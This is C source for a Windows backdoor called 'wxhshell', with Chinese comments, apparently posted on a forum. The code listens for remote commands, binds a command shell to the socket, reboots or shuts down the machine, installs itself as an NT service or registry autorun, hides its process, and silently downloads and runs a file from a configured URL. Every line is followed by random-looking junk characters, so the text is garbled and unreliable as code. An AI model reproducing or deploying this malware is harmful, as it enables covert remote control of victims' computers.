    switch(cmd[0]) { 3>vSKh1z  
  l}w9c`f  
  // 帮助 7uy?%5  
  case '?': { }#'I,?_k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wMc/O g  
    break; H[oCI|k  
  } - QPM$  
  // 安装 (h&XtFul}  
  case 'i': { Tx)!qpZ  
    if(Install()) f[r?J/;P9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i*ibx;s-  
    else 0'm$hU}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lSW6\jX  
    break; ,EsPm'`?A/  
    } ppYIVI  
  // 卸载  F6'[8f  
  case 'r': { "Sx}7?8AB  
    if(Uninstall()) pk>p|q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6>  L)  
    else [-Xz:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ko7*9`  
    break; S<Rl?El<=  
    } $nf5bo/;  
  // 显示 wxhshell 所在路径 _U Q|I|V#  
  case 'p': { gC/~@Z8W]  
    char svExeFile[MAX_PATH]; N"',  
    strcpy(svExeFile,"\n\r"); <q}w,XU  
      strcat(svExeFile,ExeFile); NI<;Lm  
        send(wsh,svExeFile,strlen(svExeFile),0); `qXCY^BH2  
    break; 6x]x>:8  
    } S`w_q=-^8  
  // 重启 OCX>LK!K  
  case 'b': { k_,wa]ws$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); At t~N TL  
    if(Boot(REBOOT)) JkfVsmc<{h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '!V5 #J  
    else { V eD<1<  
    closesocket(wsh); B)L=)N  
    ExitThread(0);  UZ*Yt  
    } O>vbAIu  
    break; .sqX>sU/]  
    } LK>J]p  
  // 关机 s:p6oEQ=J  
  case 'd': {  0m&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); arQEi  
    if(Boot(SHUTDOWN)) SWq5=h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6he (v  
    else { QIb4ghm,  
    closesocket(wsh); NA/hs/ '  
    ExitThread(0); I\y=uC  
    } [(81-j1v  
    break; n){F FM  
    } _yH=w'8.  
  // 获取shell ,suC`)R  
  case 's': { m @) ~.E  
    CmdShell(wsh); k3::5&  
    closesocket(wsh); W'x/Kg,w-  
    ExitThread(0); Md_S};!QN6  
    break; Lu!o!>b  
  } wP.b2X_V  
  // 退出 t<5 $85Y~  
  case 'x': { iB1"aE3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _oK*1#Rm8  
    CloseIt(wsh); '{+5+ J  
    break; L=4%MyZ.e  
    } .}Va~[0j  
  // 离开 c8!q_H~  
  case 'q': { f QSP]?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]cvP !  
    closesocket(wsh); WPT0=Hqp7  
    WSACleanup(); F]kn4zr  
    exit(1); ?-w<H!Y7  
    break; z+IBy+  
        } ` 6a  
  } CN4Q++{  
  } o NX-vN-  
LUSBRr8  
  // 提示信息 yO\ .dp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J{ fTx@?(  
} yf7p,_E/  
  } hKo& ZWPq  
w1tWyKq  
  return; *HiN:30DZ  
} ~n9x ,  
BZHba8c(  
// shell模块句柄 LY Y3*d  
int CmdShell(SOCKET sock) i+rh&,  
{ oPP`)b$x  
STARTUPINFO si; FI|jsO 3  
ZeroMemory(&si,sizeof(si)); VZhtx)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a`/\0~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Egy#_ RT{  
PROCESS_INFORMATION ProcessInfo; )LOV)z|}  
char cmdline[]="cmd"; 9R$0[HbI3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <5).(MTa  
  return 0; w)xiiO[  
} n{'LF #4l  
;5S'?fj  
// 自身启动模式 8NP|>uaj  
int StartFromService(void) z{;~$."  
{ K"fr4xHq  
typedef struct _=Y?' gHH  
{ 3Lg)237&j  
  DWORD ExitStatus; o'Rr2,lVi  
  DWORD PebBaseAddress; Rda~Drz  
  DWORD AffinityMask; a ][t#`  
  DWORD BasePriority; `IC2}IiF  
  ULONG UniqueProcessId; dMw7UJ  
  ULONG InheritedFromUniqueProcessId; zDK"Y{  
}   PROCESS_BASIC_INFORMATION; 5N~JRq\  
qnO>F^itF  
PROCNTQSIP NtQueryInformationProcess; P:8 qm DXo  
cmcR @zv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a+!r5689  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >^!)G^B  
vyS8yJUY  
  HANDLE             hProcess; I9VU,8~  
  PROCESS_BASIC_INFORMATION pbi; NQ3EjARZt  
W]B75  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h85 kQ^%  
  if(NULL == hInst ) return 0; MP6Py@J45  
_48@o^{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r)]8zK4;=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B'}pZOa[Wb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +eUWf{(_  
JmBe1"hs  
  if (!NtQueryInformationProcess) return 0; Rlwewxmr  
d_] sV4[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jt?DogYx  
  if(!hProcess) return 0; gt \O  
*S= c0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JIOeDuw+  
Of gmJ(%  
  CloseHandle(hProcess); uXuA4o$t-  
s2kom)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Fi8#r)G.  
if(hProcess==NULL) return 0; H"b}lf  
3uy^o  
HMODULE hMod; Qz4n%|  
char procName[255]; BenUyv1d  
unsigned long cbNeeded; 4?',E ddo  
T`W37fz0  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); f=cj5T:[  
c`s ]ciC  
  CloseHandle(hProcess); 2qDyb]9  
njGZ#{"eC  
if(strstr(procName,"services")) return 1; // 以服务启动 79d< ,q;uR  
[]<N@a6VA>  
  return 0; // 注册表启动 q Oyo+hu  
} p/ au.mc  
#-7m@EU;O  
// 主模块 #!7b3>}  
int StartWxhshell(LPSTR lpCmdLine) G_v^IM#B=  
{ _%@ri]u{ov  
  SOCKET wsl; 7*C>4Gs  
BOOL val=TRUE; E5Zxp3N  
  int port=0; cL+bMM$4r~  
  struct sockaddr_in door; Xmv^O  
M-zqD8D  
  if(wscfg.ws_autoins) Install(); I*EHZctH  
JrGY`6##p  
port=atoi(lpCmdLine); "VgPaz#  
a"!r]=r  
if(port<=0) port=wscfg.ws_port; A&UGr971  
Ocf:73t  
  WSADATA data; ]EfM;'j[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; I'c rH/z9  
TFI$>Oz|  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `2a7y]?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); LNOz.2fr>  
  door.sin_family = AF_INET; H:4? sR3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); fDrjR6xV  
  door.sin_port = htons(port); !~-@p?kW/  
7CSd}@71\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^+u/Lw&  
closesocket(wsl); tE]Y=x[Ux  
return 1; '"]QAj?N  
} 5K {{o''  
d 6zfP1lQ  
  if(listen(wsl,2) == INVALID_SOCKET) {  `s~[q  
closesocket(wsl); C7_nA:Rc  
return 1; _.+2sm   
} d#u*NwY}  
  Wxhshell(wsl); }]+k  
  WSACleanup(); @  Br?  
0xzS9  
return 0; Fh~ pB>t  
N(Xg#m   
} VL/KC-6  
0'O6-1Li  
// 以NT服务方式启动 r(p@{L185  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }q=uI`  
{ B; r` 1 G  
DWORD   status = 0; +J  <<me4  
  DWORD   specificError = 0xfffffff; DNGj81'c  
KpfQ=~'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L /V;;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b9"HTQHl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `c/mmS  
  serviceStatus.dwWin32ExitCode     = 0; >/9on.  
  serviceStatus.dwServiceSpecificExitCode = 0; C>Cb  
  serviceStatus.dwCheckPoint       = 0; i1DJ0xC]  
  serviceStatus.dwWaitHint       = 0; pXl *`[0X#  
OJXK]dZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ' qN"!\  
  if (hServiceStatusHandle==0) return; SoNT12>  
;)'  
status = GetLastError(); 4j}uVGi{e  
  if (status!=NO_ERROR) ^u$?& #  
{ lvk r2Meu<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *IV_evgM7  
    serviceStatus.dwCheckPoint       = 0; }D*5PV%d  
    serviceStatus.dwWaitHint       = 0; epQdj=h  
    serviceStatus.dwWin32ExitCode     = status;  9t_N 9@  
    serviceStatus.dwServiceSpecificExitCode = specificError; <BhNmEo)2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S%2qX"8  
    return; "Is0:au+?}  
  } k/.a yLq  
G*W54[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o 76QQ+hP  
  serviceStatus.dwCheckPoint       = 0; ??h4qJ  
  serviceStatus.dwWaitHint       = 0; 8mv}-;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Gu5%Pou  
} *;Gnod<  
:2E?|}`7\  
// 处理NT服务事件,比如:启动、停止 YZQF*fj  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3B3l)eX  
{ 7f#r&~=  
switch(fdwControl) 2t 1u{  
{ ]2@g 5H}M  
case SERVICE_CONTROL_STOP: CyV(+KBe_  
  serviceStatus.dwWin32ExitCode = 0; ~#nbD-*#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FiW>kTM8  
  serviceStatus.dwCheckPoint   = 0; y3Lq"?h  
  serviceStatus.dwWaitHint     = 0; 2qe]1B;  
  { 6;%Ajx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !1fAW! 8  
  } O+*<^*YyD  
  return; *|^}=ioj*  
case SERVICE_CONTROL_PAUSE: 1^^9'/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XpoEZ|0  
  break; X}R Q&k  
case SERVICE_CONTROL_CONTINUE: )R5=GHmL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1zlBkK   
  break; Lzy Ix!S  
case SERVICE_CONTROL_INTERROGATE: i5G"@4(  
  break; 7B8.;0X$W  
}; T<S_C$O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +RN|ZG&  
} Gz@/:dW^vZ  
wh)Ujgd  
// 标准应用程序主函数 BIeeu@p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2:tO"   
{ !a<}Mpeg  
fd/?x^Z  
// 获取操作系统版本 VFjNrngl  
OsIsNt=GetOsVer(); -9@/S$i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,V{Cy`bi  
gRQV)8uh  
  // 从命令行安装 YpwMfl4  
  if(strpbrk(lpCmdLine,"iI")) Install(); l>iE1`iL<  
`8<h aU  
  // 下载执行文件 YDo Vm?  
if(wscfg.ws_downexe) { ac< hz0   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6O# xV:Uc<  
  WinExec(wscfg.ws_filenam,SW_HIDE); g@][h_? {  
} X4dXO5\  
Gp5[H}8K  
if(!OsIsNt) { {c\KiWN  
// 如果时win9x,隐藏进程并且设置为注册表启动 04wO9L;  
HideProc(); \Cz uf   
StartWxhshell(lpCmdLine); cs6I K6wo  
} fjwUh>[ }  
else [G>U>[u|  
  if(StartFromService()) >p,FAz>  
  // 以服务方式启动 "[M k5tM  
  StartServiceCtrlDispatcher(DispatchTable); |(6H)S]$  
else Wi3St`$  
  // 普通方式启动 >wJt# ZB  
  StartWxhshell(lpCmdLine); zy!mP  
"? t@Y  
return 0; u{dI[?@  
}
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只看该作者 1 发表于: 2006-10-10
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